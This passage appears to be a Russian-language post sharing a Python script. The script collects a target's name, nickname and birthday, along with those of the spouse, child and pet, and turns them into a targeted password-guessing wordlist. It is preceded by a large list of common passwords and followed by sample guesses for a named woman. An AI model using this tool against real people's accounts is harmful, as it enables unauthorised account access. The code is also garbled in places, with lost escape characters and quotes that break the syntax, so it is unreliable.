'ZXCZXC', 'rsetprofy', 'everyday', 'tuesday', 'terminator', 'Polaris', 'january', 'nicolas', 'iloveme1', 'mirage', 'test123', 'cutegirl', 'belamor', 'robbie', 'paganini', 'latina', 'ewqewq', 'fountain', 'Converse', 'quake4', 'adminservers', 'cristian', 'melissa', 'miranda', 'easter', 'q3rulez', 'P@ssw0rd', 'sierra', 'concept', 'ronald', 'babyboy', 'arthur', 'qwerty00', 'Larson', 'SADIST', 'Trixie', 'shannon', 'THUNDER', '7654321qwerty', 'Silver', 'lipgloss', 'foobar', 'thething', 'dianne', 'kaitlyn', 'qqqqqq', 'frances', 'niners', 'Flyers', 'friend', '012345678', 'pretty', 'chris1', 'janice', 'zinch', 'babyblue', 'default', 'cannabis', 'dominique', 'Looney', 'SCOOTER', 'Raider', 'qsawefdr', 'ph@nt0m', 'Dolboeb', '666888', 'bernie', 'margarita', 'sexymama', 'pretty1', 'mauricio', 'dallas', '123456', 'bubbles', 'covid192020', 'mem_login', 'MERCEDES', 'notused', 'sterva', 'ferrari', 'VUDUMEN', 'blossom', 'france', 'bradley', 'windows', 'seomas', 'fuck_off', 'Jaeger', 'mem_password', 'celtic', 'courtney', 'curtis', 'services', 'philip', 'ИЖСТШБ', 'edcxsw', 'qwaszx', 'Viking', 'db_password', 'George', 'myhome', 'werter', 'rahasia', 'destiny', 'userip', 'db_username', '123456qwert', 'success', 'Charmed', 'kitty1', 'last_login', 'Hamster', 'Helpme', 'Hawaii', 'californ', 'superadm', 'webadmins', 'rascal', 'nothing', 'Leslie', 'Covid-19', 'zenitsk', '321654987', 'beatles', 'mickey', 'hollywood', 'bananas', 'sesskey', 'dinamo', 'swit2002', 'webuser', 'pe_aduser', 'western', 'rebelde', 'covidien', 'ilikeaol', 'jennifer', 'router', 'november', 'charity', 'mercedes', 'formula2', 'userPassword', 'paloma', 'qwerty123', '012345678qwerty', '%username%1234', 'Marvin', 'sporting', 'harrison', 'babylove', 'babies', 'kayleigh', 'miriam', 'rosita', 'domain', 'running', 'compton', 'raymond', 'SVCHOST', 'aurora', 'ronaldinho', 'village', 'madalina', 'company', 'pistaec', 'asdfasdf', 'maldita', '0123456qwerty', 'bubba1', 'excalibu', 'qwerty1981', 'robinzon', 'internet', 'export', 'gangsta', '55555555', 'cynthia', 'fireman', 'userid', 'candyman', 'klas1999', 'caramelo', 'michalex', 'stalone', 'sunflowe', 'babyko', 'angelo', 'BlackRaven', 'SPIDERMAN', 'Tinman', 'ph4nt0m', 'butterfly', 'tbl_users', 'cassie', 'login_admin', 'loveya', 'sports', 'admin_id', 'website', '123123', 'a1b2c3', 'ЙНПНМЮ', '111111', 'karina', 'michelle1', 'hello', 'mickeymouse', 'Guitar', 'COLUMB', 'Stocker', 'qwerty2011', 'scorpion', '1q2w3e4r5t6', 'NUMLOCK', '11223344', 'reznor', 'vietnam', 'sanchez', 'orlando', 'catdog', 'graphic', '789654', 'junjun', '7654321', 'qwe123456', 'sexsex', 'dilbert', 'mercury', 'admin_pass', 'andrea', 'cannon', 'kroywen', 'connect', 'ИТЪЖШВСБЯ', 'pineapple', 'cannibal', 'gothic', '!@#$%^&*()_+|', 'password1', 'christ', 'sexybabe', 'steaua', 'stormy', 'symantec', 'admsuper', 'christine', 'Kristi', 'lucky7', 'rockme', '123456789qwerty', 'asshole', 'camping', 'megaultra', 'eunice', 'wesley', 'Blaster', 'qscgyj', 'tennis', 'admin_userid', '1q2w3e4', 'nugget', 'tokiohotel', 'sampson', 'ricardo', 'bulldogs', 'italia', 'admin!', 'dbadmins', 'qwerasdf', 'admin_psw', 'Contact', 'DROWSSAP', 'dorothy', 'sundance', 'apple1', '777777', 'strelez', 'camila', 'asdasd', 'lektor', 'tattoo', 'ground', 'carolina', 'hockey', 'administrators', 'COSMOS', 'notabene', 'orange', 'cannonda', 'WIZARD', 'christin', 'justin1', 'martha', 'toronto', 'Miller', 'secrets', '@admin@', '][akep13', 'jeffrey', 'service', 'lionking', 'skypeout', 'Tennis', 'warrior', 'turtle', 'Strider', 'raiders', 'vermont', 'hop242', 'Hendrix', 'Whales', 'fuckyou1', 'jeromy', 'Goldie', 'narciss', 'guanliyuan', 'mortimer', 'prettygirl', 'hiphop', 'samuel', '666666', 'Jordan', 'peanut', '123qwert', 'gabriel', 'Flower', 'tb_admin', 'jerome', 'wolfgang', 'x_admin', 'powers', 'qwer1234', 'user_usrnm', 'lunita', 'nodnol', 'valentine', '010101', 'maurice', '12345qwert', 'zsxdcfv', 'Bastard', 'Christ', 'ЯНКМШЬЙН', 'jenifer', '11111', 'Pandemic', 'mustang', 'Marino', 'mb_users', 'n@poleon', 'ssssss', 'rangers', '212121', 'Teresa', 'marlon', 'breanna', 'michelle', 'minidixx', 'SIERRA', 'stephani', 'speedy', 'campbell', 'angelica', 'silver', 'damien', 'kaylee', 'moises', 'e_mail', 'person@l', 'portland', 'soulmate', 'DINOZAVT', 'joanne', '718293', 'newpass', 'lkjhgfdsa', 'download', 'passwrd', 'kolobok', 'Awesome', '654321', 'ssw0rd', 'webmaste', 'sophie', 'twinkle', 'Woodland', 'angeles', 'zasranez', 'adminpaw', 'fletch', 'player', 'user_uname', 'whitney', 'fugazi', 'Shadows', 'sylvia', 'q1w2e3r4', 'zxcdsa', 'pinkie', 'papito', 'clientpassword', 'medvedev', 'soledad', 'snapple', 'Trumpet', 'zacefron', 'qwert1234567', 'liverpool', 'seaman', 'Sweets', 'matrix', 'beckham', 'singer', 'hardcore', 'calvin', 'justin', 'arsenal', 'madison', 'adm1nistrator', 'spooky', 'mikael', 'w1w2w3w4', 'chelsea1', 'miranda2', 'Webmaster', 'qwerty01234567', 'kristina', 'member', 'reality', 'scarface', 'general', 'sagevsal', 'FLATRON', 'suzanne', 'Trinity', 'NITROGEN', 'mybaby', 'iloveu1', 'qwert1234', 'Denise', 's@d@m@z@', 'lucky13', 'angelito', 'adminuserid', 'david1', 'mozart', 'love13', 'nirvana', 'lonely', '951753', 'test', 'lorena', 'castle', 'photos', 'omarion', 'admin_login', 'lacrosse', 'yt1n1rt', 'mybb_users', 'Smiley', 'darkness', 'ASECHKA', 'elaine', 'MAMONT', 'MADONNA', '10tons', 'exploit', 'mem_passwd', 'jocelyn', 'cheyenne', '01234567', 'P@$$WORD', '1qaz@WSX', 'piglet', 'newton', 'qwerty987654321', 'adminuser', 'milagros', 'olivia', '55555', 'P@NTER@', 'colombia', 'preciosa', 'admin_passwd', 'Godmode', '31415926', 'escape', 'bamboo', 'hornet', 'clancy', 'calgary', 'Redskin', 'gangster', 'rovercar', '012qwerty', 'ne1469', 'qciretsam', 'Christop', 'Russell', 'm@$ter', 'california', 'Mittens', 'Sunshin', 'telephone', 'charlott', 'pandemic', 'Lindsay', 'afonja', 'Jessica', 'lostmind', 'gandako', 'ran-dom', '1p2o3i', 'morris', 'gemini', 'qwedsazxc', 'amormio', 'condor', 'LINUXOID', 'tblConfigs', 'piolin', 'script', 'parrot', 'Roping', 'qwerty1234567', 'knicks', 'siemens', 'atlanta', 'Defense', 'master', 'ihateu', 'formula1', 'horizon', '7777777', 'miller', 'cheer1', 'coolgirl', 'peterpan', 'adm1n1strator', 'adminmail', 'per$0n@l', 'stever', '123654', 'qazwsxedc', 'Reggie', 'tb_members', 'Covid19', 'zxcvbnm', 'tacobell', 'temp_pass', 'blonde', 'пароль', 'manuel', 'sandra', 'GLOBAL', '12345678qwerty', 'Pebbles', '12345678910qwerty', 'customers_password', 'reddog', 'chocolat', 'mahalkita', '123456qwe', 'ИЖСЙТШБЮ', 'asdffdsa', 'eXtremal', 'asdeasd', 'paulina', 'coyote', 'cassandra', 'Celtics', 'iv_sen', 'falloutboy', 'derrick', 'Shithead', 'stimpy', 'maincomputer', 'denmark', 'angela', 'Animals', 'robinhoo', 'genius', 'Ay8IPUtv5e', 'Puppies', 'pumpkin', 'Golden', 'valentin', 'brianna', 'gloria', 'sacret', 'dancer1', 'asdzxc', '30media', '8675309', 'Barney', 'mother', 'qwerty99', '960628', 'unknown', 'ilovegod', 'lincoln', 'MOBMAN', 'jellybean', 'ladybug', '113355', 'sab@k@', 'giovanni', 'beyonce', 'honeyko', 'Whateve', 'veronica', 'molesto', 'moocow', 'qwerty54321', 'yasmin', 'burewar', 'babygirl', '456789', 'database', 'melody', 'steven', 'giggles', '987654321', 'tyler1', '1234567qwerty1234567', 'temp_password', 'diamond', 'combrik', 'brown1', 'Gordon', '123456qwerty123456', 'per$0nal', 'p@ssw0rd', 'casper', 'mamita', 'westlife', 'beautiful', 'tblUser', 'sailing', '12qwerty', 'princess1', 'chester1', 'JUVENTUS', 'laurie', 'simone', 'rambler', 'starwars', 'alpine', '3904iurf', 'olololo', '555555', 'P@SSWORD', 'genetic', 'blondie', 'sayang', 'NITEBIRD', 'drowpa$$', 'skittles', 'accounts', 'Barbie', 'wedding', 'animal', '123654789', 'yankees', 'liverpoo', 'Harvey', 'timber', 'belinda', 'chance', 'howard', 'user123', 'brandi', '@admin', 'qwerty12345678', 'beanie', 'isaiah', 'alexandra', 'roxanne', 'MISTIC', 'secret', 'wrangler', 'semantec', 'bitches', 'Patches', 'qwe321', 's@pretne', 'eugene', 'tanner', 'russia2018', 'winnie', 'walker', 'microsoft', 'willie', 'wwwyaru', '11111111', 'covid2019', 'time2be', 'propusk', 'safety', 'wheeling', 'Center', 'AGAINST', 'Abcdefg', 'camera', 'COMMAND', 'dougie', 'elizabet', 'snuggles', '561989', 'mariel', '123456QQAqqa_', 'goober', 'kopernik', 'PLATON', 'office', 'nofear', 'feedback', 'crazy1', 'gwapako', '332211', 'cooladmin', 'bestfriends', 'iloveyou1', '12345678', 'jeanette', 'beaver', 'thunderb', 'f@ntom@s', 'alejandro', 'C0L0RaD0', 'goforit', 'OCCUPIED', 'gabber', 'hearts', '19weed', 'william', 'BLACKMAN', 'fatefull', 'Florida', 'QwerUQwerU', 'myspace', 'special', '999999', 'spider', 'pauline', 'Hershey', 'digital1', 'nopass', 'FRIDAY13', 'aliens', 'rebmem', 'unlimit', 'tweety', 'Sampler', 'baby123', 'BvtTest123', 'fuck-you', 'horses', 'Denver', 'lizard', 'alpha1', 'danger', 'scarlet', 'someone', 'reguser', 'robert', 'server', 'Slayer', 'castrat', 'moonson', 'alexandru', 'modified', 'wowecarts@123', 'janine', 'future', 'Shirley', 'silvia', 'sherry', 'passw0rd', 'Garrett', 'UNREAL', 'zxcvbn', 'qwertyu', 'midori', 'adriana', 'Golfer', 'rayray', 'qwerty0123456', 'Swimmer', 'javier', 'juancarlos', 'raquel', 'lindsay', 'maymay', 'ARTEFACT', 'dexter', 'arnold', 'random', 'Yellow', 'sebastian', 'simpleplan', 'america', 'mozilla', 'mystica', 'segment', 'tb_administrator', 'shelly', 'Goalie', 'sweets', 'qwerty321', ')4ever', 'muffin', 'marius', 'ArticleID', 'sweet16', 'Gopher', 'SPARTAK', 'esrevinu', '%username%12', 'formula3', 'ohmygod', 'ashleigh', 'carmen', 'VACATION', 'melanie', 'matthew', 'nichole', 'chicago', 'hamster', 'CLEVER', 'austin1', 'cactus', 'sartir', 'network', 'mahalkoh', 'flower', 'iverson3', 'monkey1', '181818', 'frankie', 'rodriguez', 'admin123', 'chapman', 'ironman', 'pikachu', 'sadistic', 'jeremiah', '321654', 'wildcats', 'Racing', '4897798', 'pictures', 'scotland', '012345', 'director', 'trilogy', 'chanel', 'SUNRISE', 'pamela', 'tinker', 'grinch', 'reynolds', 'unknovn', 'montreal', 'qwerty88', 'brownie', 'Kombat', 'preston', 'james1', 'stacey', 'Gymnast', '00090009', 'donkey', 'Cassie', 'n@p0le0n', 'bridge', '321adc', 'raptor', 'SHAKUR', 'METALIKA', 'memberid', '789456', 'Amanda', 'front242', 'einstein', 'galileo', 'Masters', 'jazmin', 'justice', 'agresive', 'harley', 'mpassword', 'tfarcraw', 'zaxscdvfbg', '121212', 'Paladin', 'admin_user', 'qwerty1990', 'Picard', 'williams', 'nathaniel', 'jensen', 'steelers', 'froggy', '100500', 'manager', 'tb_username', 'vb_user', 'forineli', 'ph@ntom', 'warren', 'callum', 'mempassword', 'shalom', 'brooklin', 'savage', 'mouse1', 'lawrence', 'kristen', 'nicholas', 'warner', '@dministrator', '1q2w3e4r5t', 'CAUTION', 'evilmind', 'sex+love', 'homebrew', 'SPIDER', 'support', 'matter', 'nelson', 'люблю', 'element', 'heaven', 'lolita', 'poiuyt', 'lilmama', '_other_', 'Michell', 'qwertyqwerty', 'diamond1', 'coltrane', 'nenita', 'peewee', 'protel', 'rainbow', 'angel1', '][aker', 'warriors', 'uoykcuf', 'flym0de', 'mike123', '4321qwerty', 'gabriell', 'JACKSON', 'katherine', 'warcraft', 'autumn', 'husband', 'diesel', 'Cancer', 'bullet', 'little', 'Shelly', 'dragons', 'QWERTY', 'zaxscdvf', 'fuck-off', 'rockstar', 'Apples', '}{aker', 'SATAN666', 'Tanker', 'badger', 'Covid2020', 'Casper', 'franklin', 'sheila', 'golden', 'bloods', 'tbl_user', 'kathleen', 'Spiritwear_2004', 'administrator1', 'Hawkeye', 'loving', '12121212', 'galaxy', 'blinked', 'padonok', 'fuckoff', 'dookie', 'february', 'snickers', 'ronaldo', 'EdomdoG', 'Elaine', 'sb_pwd', 'Wicked', '456123', 'md5hash', 'rocket', '12344321', 'Letter', 'VUDUMAN', 'byteme', 'GOODWISH', 'solnyshko', 'evelyn', 'pookie', 'canela', 'k.,jdm', 'revoemag', 'fernando', 'MATRIX', 'servpass', 'maddie', 'kingdom', 'evolxes', 'marilyn', 'twilight', 'mission', '1234567890', 'qwert123456', '24crow', 'sexygirl', '123123123', 'lakers', 'sparky', '1234rewq', 'Alexxxx', 'Chipper', 'avatar', 'qqqqqqqq', 'qwert12345', 'theking', 'usrnam', 'cyfqgth', 'admin_username', 'peanut1', 'bluddy', 'united', '87654321', 'bitch123', 'antonio', 'fluffy', 'westeast', 'poiuytr', 'Pyramid', 'PRODIGY!', 'Scooby', 'support2', 'drpepper', 'python', 'painter', 'property', '010203', 'forest', 'passer', 'q1w2e3', 'validpas', 'cupcake', 'mendoza', 'monica', 'pink123', 'qwerfv', 'patricia', 'admin1', 'simpsons', 'bubble', 'allyson', 'Huskers', 'hjccnz', 'lollypop', 'chocolate', 'TOMORROW', 'george', 'cookies', 'Nathan', 'poison', 'ireland', 'barcelona', 'kucing', 'zasranec', 'savannah', 'tyrone', 'carebear', 'memory', 'SURPRISE', 'sniper', 'falcon', 'MEVERICK', 'FORMATC:', 'sasa321', 'soto4ka', '321321', 'ОПХБЕР', 'butcher', 'SHIFTALT', '123456789qwerty123456789', 'manman', 'express', 'alexandr', 'q1w2e3r', 'kristine', 'q1w2Q!W@', 'adminserver', 'Alyssa', 'ilovejesus', 'userpass', 'qwerty01', 'q1w2e3r4t5y', 'zaq1xsw2', 'Dreams', 'u_pass', 'sanyok', 'sapretne', 'sydney', 'Badboy', 'francisco', 'crazyman', 'datacenter', 'cricket', 'pickles', 'precious', 'travis', 'Compaq', 'apples', 'fashion', 'rambo1', 'celeron', 'p@$$vord', 'klaster', 'october', 'volcom', 'familia', 'smiths', 'Administrateur', 'ЮМДПЕИ', 'Margulya', 'apollo', 'Studly', 'Spanish', 'E-mail', 'memphis', 'arturo', 'Petunia', 'OVERCLOK', 'андрей', 'chivas', 'skiing', 'garden', 'Spanky', 'cuddles', 'bitch@', 'scorpio', 'mirror', 'qwedsa', 'trisha', 'public', 'settings', 'cunning', 'poohbear', 'student', 'kingkong', 'January', 'roxana', 'septic', 'armando', 'Theman', 'JAYSON', 'guitar', 'mypass', 'q1w2e3r4t5', 'ONLINE', 'Raiders', 'hctib321', 'Tigers', 'kelly1', 'valeria', 'knopka', 'Wrestle', 'canada', '852456', 'Cracker', 'target', 'bestfriend', 'WINDBURN', 'tomcat', 'cruise', 'giants', 'login_pwd', 'f1f2f3f4', 'Buffalo', 'ИЖСЙЕМЦЬЫГ', 'Reefer', 'violet', 'mudofil', 'teresa', 'alexander', 'pa$$vord', '789456123', 'hellokitty', 'cuties', 'coronavirus19', 'margaret', 'Google', 'rotfront', 'stuart', 'mountain', 'louise', 'MICHELIN', 'candy1', 'ornery', 'Superuser', 'montana', 'december', 'estrella', 'theboss', 'moroni', 'dreamer', 'qip12345', 'dekart', 'evol+xes', 'NORRIS', 'pierre', 'skippy', 'soccer', 'per$onal', 'bulldog', 'invizibl', 'realmadrid', 'garfield', 'Internet', 'leelee', 'gretzky', 'fdsarewq', 'dancing', 'Basebal', 'snayiclfv', 'School', 'Jester', 'ELECTRO', '5201314', 'fantomas', 'midnight', 'nicarao', 'Royals', 'Volleyb', 'zzzzzz', 'fresita', 'rockyou', 'Krystal', 'BILLGATE', 'trevor', 'celine', 'canced', '012345qwerty', 'sylvie', 'hotpink', 'Aggies', '][akep', 'freedom', 'Buddha', 'babyface', 'dodger', 'nummer', 'spring', 'MYICQ╧', '252525', 'rekax321', 'parker', 'Except', 'changeme', 'winter', 'dundee', 'AdminUID', 'Panther', 'password', 'TIMEOUT', 'brigada', 'Lakers', 'nazareth', 'sweetheart', '753951', 'icecream', 'temppasword', 'yolanda', 'lacoste', 'flower1', 'boogie', 'entropy', 'always', 'basketba', '//RaZOR', 'Golfing', 'scotch', 'hunter1', 'jesus1', '357951', 'onelove', 'ytinrete', 'spongebob1', 'go2fuck', 'sukinsin', 'login_pw', 'eskander', 'crawford', 'adminname', 'procesor', 'westside', 'leanne', 'hailey', 'qwerty1', '21122112', 'kennedy', 'rangers1', 'pollito', 'alicia', 'lovergirl', 'tazmania', 'dfcvxv', 'MIRABLIS', 'Maveric', 'Starwars', 'abcdefg', '1212121212', 'albert', 'qwertyuiop', 'jenny1', 'xswqaz', 'madison1', 'fabian', 'theresa', 'ib6ub9', 'KASPER', 'covid1984', 'HOTMAIL', 'cherry', 'shorty1', 'aretnap', 'Ripper', 'cxzdsaewq', '0123456789qwerty', 'audrey', '12345qwerty', 'password123', 'Bubbles', 'Chucky', 'MASACRE', 'MEXICO', '101010', 'zachary', 'maxwell', 'watson', 'skeeter', 'basketball', 'liberty', 'user_admin', 'Hunting', 'ivanov', 'smiley', 'user_email', 'gilbert', '0123456', 'london', '6PISTOLS', 'webmasters', 'burger', 'ashton', '147258369', 'bermud', 'Doobie', 'ZONE51', 'manchester', '369852147', 'hunter', 'ЩОХДЕЛХЪ', 'p@svord', 'Webster', '@system', 'regina', 'fuckme', 'Userlogin', 'rooney', 'llawerif', 'football1', 'Password', 'Angela1', 'Avital', 'lovebug', 'zxcdsa22', 'OUTPOST', '%username%', 'Junebug', 'banana', 'monique', '%username%123', 'client', 'Lindsey', 'portugal', 'username', 'qwerty22', 'ferret', 'iceman', 'lomakin', 'a_admin', 'natasha', 'dreams', 'friendship', 'panget', 'p@$$w0rd', '147852', 'grateful', 'deutsch', 'elizabeth', 'SITELOGIN', 'hotmail', 'asdfjkl;', 'chairman', '!@#$%^', 'bigmac', 'Flipper', 'contenu', 'flowers', 'cc_owner', '0000000000', 'oranges', 'money1', 'livetest', 'slayer', 'fernanda', 'khekkly', 'virginia', 'f1refox', 'patches', 'yvonne', 'usernames', 'amsterdam', '321qwerty', 'digital', 'jasmin', 'qwerty66', 'Basketb', 'Iceman', '!@#$%^&*()', 'pidaras', 'Skater', 'bubbles1', 'delfin', '159753', 'kittycat', 'bootsie', 'jupiter', 'NTLOADER', 'qwe123', 'natalia', 'olivier', 'Dallas', 'WebAdmin', 'Rabbit', 'Dolphin', '124578', 'my_username', 'battle', 'nooone', 'iguana', 'simple', 'ornament', 'garnet', 'un1verse', 'stephanie', 'zapata', '012345678910qwerty', 'Zombie', 'clientusername', 'church', 'beware', 'tagged', 'Kittens', 'lovers', 'scoobydoo', 'retsam', 'a123456', 'hayley', 'mantra', 'history', 'anthony1', 'planet', 'johncena', 'samantha', '141414', 'lucero', 'awesome', '12345678910', 'captain', 'bobcat', 'allison', 'merlin', 'herman', 'MUSTDIE', 'badgirl', '_nick_', 'babygirl1', 'dollars', 'pimpin', 'fiction', 'user_password', 'shirley', 'alejandra', 'pass123', 'm_admin', '12qwaszx', 'andrew1', 'q1w2e3r4t', 'nechto', 'smokey', '1q2w3e', 'thuglife', 'qwerty77', '1sanjose', 'ihateyou', 'netware', 'benson', 'bertha', 'catarina', 'caroline', 'Snicker', 'Sonics', 'h_admin', 'cameron', 'pussycat', 'sdfcvxv', 'qwert12', 'prince', 'Sarah1', 'chemistry', 'Blondie', 'Scarlett', 'Sandman', 'wombat', 'Blackie', 'swimming', 'shelby', 'macmac', 'active', 'myserver', 'shumaher', 'Peaches', 'lokita', 'DEICIDE', 'Country', 'morgan', 'research', 'edward', 'ffffff', '12345a', '202020', 'peaches', 'ИТЪЖШВ', 'admin_name', 'island', 'harrypotter', 'leonard', 'clients', 'tables', 'usuario', '1qw23er45ty67u', 'zaphod', 'poohbear1', 'gerardo', 'nicole', 'windsurf', 'wilson', 'bambam', 'baller', 'carlitos', 'seattle', 'gabriela', '123456789qwert', 'vincent', 'bernard', 'garcia', 'STALIN', '142536', 'qwerty654321', 'compaq', 'goldfish', 'lovely', 'German', 'Brazil', 'rocker', 'DYNAMIC', 'asdfghjk', 'qwerty0123', 'boston', 'police', 'delete', 'orbital', 'bigboy', 'design', 'vanessa', 'fletcher', 'moksana', 'Gambit', 'VERITAS', 'AUTOMOTO', '122333', 'cutie1', 'ZAGADKA', 'johnson', 'thursday', 'Russia', 'mylove', 'stingray', 'rekax123', 'wicked', 'passion', 'cardinal', 'console', 'catherine', 'mailer', 'titanic', 'admpro', 'BIGMUZZY', 'Porsche', 'qwerty012345', 'brandon', 'joshua', 'gibson', 'playboy', 'logins', 'p@ntera', 'danielle', 'customers', 'charmed', 'hootie', 'windowsxp', 'America', '098765', 'MIR@ND@', 'butter', 'garlic', 'campanita', 'clas1999', 'MITNYK', 'andrei', 'shamber', 'alaska', 'seagal', 'Scotty', 'picasso', '1234560', 'bridges', 'richie', 'R.GILL', 'qwerty55', 'Trouble', 'butler', 'qwerty12', 'BONJOVI', 'Sammie', 'marcus', 'mexico', 'cutiepie', 'marian', 'amanda1', 'bigdaddy', 'nissan', 'SUBSEVEN', 'mayday', 'buddy1', 'myusername', 'sitelogins', 'hello1', 'NTOSKRNL', 'PRODIGY', 'remote', 'gooood', 'qwerty666', 'obiwan', 'reverse', 'bismillah', 'hello123', 'zsxdcfvg'}
# 100 most popular passwords
TOP_PASSWORDS = {'12345678', 'qwerty123', '12345', 'qwerty1', '123456', '123321', 'qwerty', 'asdasd123', '123456789', 'asdasd', 'qqqqqq'}

max_count_default = 1000000
max_count_main_default = 2


def prompt(txt):
    return str(input(txt))
def fullname(fname, lname):
    return ['{}{}'.format(a, b) for a in cases(fname) for b in cases(lname)] + ["{}_{}".format(a, b) for a in cases(fname) for b in cases(lname)]
def cases(word):
    return [word.lower(), word.title()]


class PassGen:

    def __init__(self, max_count=max_count_default, max_count_main=max_count_main_default, silent=False):
        self.pet = None
        self.child = None
        self.spouse = None
        self.target = None
        self.passwords = set()
        self.passwords_not_sorted = list()
        self.silent = silent
        self.max_count = max_count
        self.max_count_main = max_count_main

    @staticmethod
    def question(target):
        answers = {}

        answers['firstname'] = prompt('Enter {}'s first name: '.format(target))
        answers['lastname'] = prompt('Enter {}'s last name: '.format(target))
        answers['nickname'] = prompt('Enter {}'s nick name: '.format(target))

        while True:
            bday = prompt('Enter {}'s birthday (dd.mm.yyyy): '.format(target))

            if not len(bday.strip()):
                break

            if len(bday.split('.')) != 3:
                print('Invalid birthday formatn')
                continue

            for _ in bday.split('.'):
                if not _.isdigit():
                    print('Birthday only requires numbersn')
                    continue

            dd, mm, yyyy = bday.split('.')

            if int(mm) > 12 or int(mm) < 1 or int(dd) > 31 or int(dd) < 1 or len(yyyy) != 4:
                print('Invalid birthdayn')
                continue

            bday = {'day': dd, 'month': mm, 'year': int(yyyy)}
            break

        answers['birthday'] = bday
        return answers

    def _add(self, password):
        if password not in self.passwords:
            self.passwords.add(password)
            self.passwords_not_sorted.append(password)
    def format_names(self):
        for _ in range(self.max_count_main):
            if not self.silent:
                print(f'Generated: {len(self.passwords)}', end='r')

            iters = 0
            for data in [self.target, self.spouse, self.child, self.pet]:
                if data['birthday']:
                    for i in (
                            "{}{}{}".format(data['birthday']['day'], data['birthday']['month'], data['birthday']['year']),
                            "{}{}{}".format(data['birthday']['day'], data['birthday']['month'], str(data['birthday']['year'])[2:]),
                            "{}{}{}{}".format(data['birthday']['day'], data['birthday']['month'], data['birthday']['day'], data['birthday']['month']),
                    ):
                        self._add(i)
                for n in ['firstname', 'lastname', 'nickname']:

                    fullname_list = []
                    name = data[n].strip()

                    if not len(name):
                        continue

                    if not iters:
                        fullname_list = fullname(data['firstname'], data['lastname'])
                        iters += 1

                    for word in cases(name) + fullname_list:

                        for i in ('{}{}'.format(word, _),
                                  '{}{}'.format(_, word),
                                  '{}{}!'.format(word, _),
                                  '{}{}.'.format(word, _),
                                  ):
                            if i not in self.passwords: self._add(i)

                        bday = data['birthday']

                        if bday:
                            for i in (
                                '{}{}'.format(word, bday['year']),
                                '{}{}!'.format(word, bday['year']),
                                '{}{}'.format(bday['year'], word),
                                '{}{}'.format(word, str(bday['year'])[2:]),
                                '{}{}{}{}'.format(word, bday['year'], bday['month'], bday['day']),
                                '{}{}{}{}'.format(word, str(bday['year'])[2:], bday['month'], bday['day']),
                                '{}{}{}{}'.format(word, bday['day'], bday['month'], str(bday['year'])[2:]),
                                '{}{}{}{}'.format(word, bday['day'], bday['month'], bday['year']),
                                '{}{}{}'.format(word, bday['day'], bday['month']),
                                '{}{}{}{}'.format(bday['day'], bday['month'], bday['year'], word),
                            ):
                                self._add(i)

    def generator(self, ignore_additional=True, write=True):
        if not self.silent:
            print('Generating main passwords... nIt's may take a while.')
        self.format_names()
        if not self.silent:
            print("...generated {} main passwords".format(len(self.passwords_not_sorted)), end='r')
        for i in TOP_PASSWORDS:
            self._add(i)
        if not self.silent:
            print("...generated {} popular passwords".format(len(self.passwords_not_sorted)), end='r')
        output_file = '{}.txt'.format(self.target['firstname'].lower()
                             if self.target['firstname'] else 'pass.txt')
        if write:
            with open(output_file, 'wt', encoding='utf-8') as f:
                for pwd in self.passwords_not_sorted:
                    if not self.silent:
                        print('Writing ...')
                    f.write('{}n'.format(pwd))

            if not ignore_additional:
                if not self.silent:
                    print("Generating additionals combinations...")
                with open(output_file, 'at', encoding='utf-8') as f:
                    i = 0
                    while i < self.max_count:
                        if not self.silent:
                            print('Writing additional combinations ... {}/{}'.format(i*3, self.max_count*3),end='r')
                        f.write('{}{}n'.format(self.target['firstname'], i))
                        f.write('{}{}n'.format(self.target['lastname'], i))
                        f.write('{}{}n'.format(self.target['nickname'], i))
                        i += 1
                if not self.silent:
                    print("...generated {} additional combinations".format(self.max_count*3))

        if not self.silent:
            print('Passwords Generated in file: {}'.format(output_file))


def parse_cmd_args(argv):
    parser = argparse.ArgumentParser(description='Run password generator')
    parser.add_argument('--ignore-additional', dest='ignore_additional', default=False,
                        help='ignore additions combinations')
    parser.add_argument('--max-count', dest='max_count', default=max_count_default,
                        help='maximum count for additional combinations')
    parser.add_argument('--max-count-main', dest='max_count_main', default=max_count_main_default,
                        help='maximum count for main combinations')
    parser.add_argument('--silent', dest='silent', action='store_true',
                        help='no print process (faster)')
    parser.set_defaults(ignore_additional=False)
    parser.set_defaults(silent=False)
    args = parser.parse_args(argv[1:])
    return args


if __name__ == '__main__':
    args = parse_cmd_args(sys.argv)
    p = PassGen(
        max_count=int(args.max_count),
        max_count_main=int(args.max_count_main),
        silent=args.silent
    )
    p.target = p.question('target')
    p.spouse = p.question('spouse')
    p.child = p.question('child')
    p.pet = p.question('pet')

    p.generator(ignore_additional=args.ignore_additional)

За основу взят этот скрипт

Вот пример того, что генерирует скрипт (все совпадения случайны, это просто пример)

Возможные пароли Марии Кузнецовой 01.02.2000г
01022000
010200
01020102
maria0
0maria
maria0!
maria0.
maria2000
maria2000!
2000maria
maria00
maria20000201
maria000201
maria010200
maria01022000
maria0102
01022000maria
Maria0
0Maria
Maria0!
Maria0.
Maria2000
Maria2000!
2000Maria
Maria00
Maria20000201
Maria000201
Maria010200
Maria01022000
Maria0102
01022000Maria
mariakuznecova0
0mariakuznecova
mariakuznecova0!
mariakuznecova0.
mariakuznecova2000
mariakuznecova2000!
2000mariakuznecova
mariakuznecova00
mariakuznecova20000201
mariakuznecova000201
mariakuznecova010200
mariakuznecova01022000
mariakuznecova0102
01022000mariakuznecova
mariaKuznecova0
0mariaKuznecova
mariaKuznecova0!
mariaKuznecova0.
mariaKuznecova2000
mariaKuznecova2000!
2000mariaKuznecova
mariaKuznecova00
mariaKuznecova20000201
mariaKuznecova000201
mariaKuznecova010200
mariaKuznecova01022000
mariaKuznecova0102
01022000mariaKuznecova
Mariakuznecova0
0Mariakuznecova
Mariakuznecova0!
Mariakuznecova0.
Mariakuznecova2000
Mariakuznecova2000!
2000Mariakuznecova
Mariakuznecova00
Mariakuznecova20000201
Mariakuznecova000201
Mariakuznecova010200
Mariakuznecova01022000
Mariakuznecova0102
01022000Mariakuznecova
MariaKuznecova0
0MariaKuznecova
MariaKuznecova0!
MariaKuznecova0.
MariaKuznecova2000
MariaKuznecova2000!
2000MariaKuznecova
MariaKuznecova00
MariaKuznecova20000201
MariaKuznecova000201
MariaKuznecova010200
MariaKuznecova01022000
MariaKuznecova0102
01022000MariaKuznecova
maria_kuznecova0
0maria_kuznecova
maria_kuznecova0!
maria_kuznecova0.
maria_kuznecova2000
maria_kuznecova2000!
2000maria_kuznecova
maria_kuznecova00
maria_kuznecova20000201
maria_kuznecova000201
maria_kuznecova010200
maria_kuznecova01022000
maria_kuznecova0102
01022000maria_kuznecova
maria_Kuznecova0
